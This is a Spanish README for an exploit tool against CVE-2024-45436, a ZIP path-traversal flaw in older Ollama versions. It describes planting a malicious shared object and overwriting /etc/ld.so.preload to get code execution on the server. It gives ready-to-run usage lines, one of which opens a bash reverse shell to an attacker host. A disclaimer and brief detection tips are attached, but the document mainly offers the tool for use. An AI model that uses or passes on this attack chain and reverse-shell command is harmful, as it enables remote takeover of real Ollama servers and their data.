
script de explotación para CVE-2024-45436
Una implementación de exploit limpia y eficiente para la vulnerabilidad de recorrido ZIP de Ollama (CVE-2024-45436). Documentación en chino: README_CN.md
CVE-2024-45436 es una vulnerabilidad de recorrido de rutas (también conocida como "Zip Slip") en versiones de Ollama anteriores a la 0.1.47. La vulnerabilidad permite a los atacantes escribir archivos en ubicaciones arbitrarias del sistema de archivos explotando una validación incorrecta de las rutas durante las operaciones de extracción de archivos ZIP.
La falla existe en la función extractFromZipFile en el archivo model.go de Ollama, que extrae archivos de modelo. Cuando un archivo ZIP contiene entradas con rutas que incluyen secuencias de recorrido de directorios (../), Ollama extrae estos archivos fuera del directorio previsto, permitiendo potencialmente a un atacante sobrescribir archivos críticos del sistema.
Este exploit aprovecha la vulnerabilidad a través del siguiente enfoque:
hook.so) que contiene código de ejecución de comandos arbitrarios../../../../../../../../../../etc/ld.so.preload - Usado para precargar objetos compartidos personalizados../../../../../../../../../../tmp/hook.so - El objeto compartido malicioso en sí mismoCuando se ejecuta con éxito, el payload se ejecuta con los mismos permisos que el servicio Ollama, otorgando potencialmente ejecución remota de código como root.
python exp.py <target_url> <command>
target_url: La URL de la instancia vulnerable de Ollama (p.ej., http://example.com:11434)command: El comando a ejecutar en el sistema objetivo--no-cleanup: No eliminar archivos temporales después de la explotación (útil para depuración)Uso básico:
python exp.py http://target-server:11434 "id > /tmp/pwned"
Shell inversa:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado contra sistemas sin permiso explícito es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso de este software.
Las organizaciones pueden detectar si son vulnerables mediante:
/api/version/etc/ld.so.preload o /tmp/hook.soLa vulnerabilidad explota una validación inadecuada de rutas en el proceso de extracción de archivos ZIP de Ollama. Cuando se carga un modelo a través de la API, la aplicación extrae archivos de un archivo ZIP sin sanitizar adecuadamente las rutas de archivos, permitiendo ataques de recorrido de directorios.
El archivo ld.so.preload se utiliza en Linux para especificar bibliotecas compartidas que deben cargarse antes que todas las demás. Al escribir en este archivo, el atacante puede asegurar que su biblioteca maliciosa sea cargada por cualquier nuevo proceso, secuestrando efectivamente la ejecución del programa.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.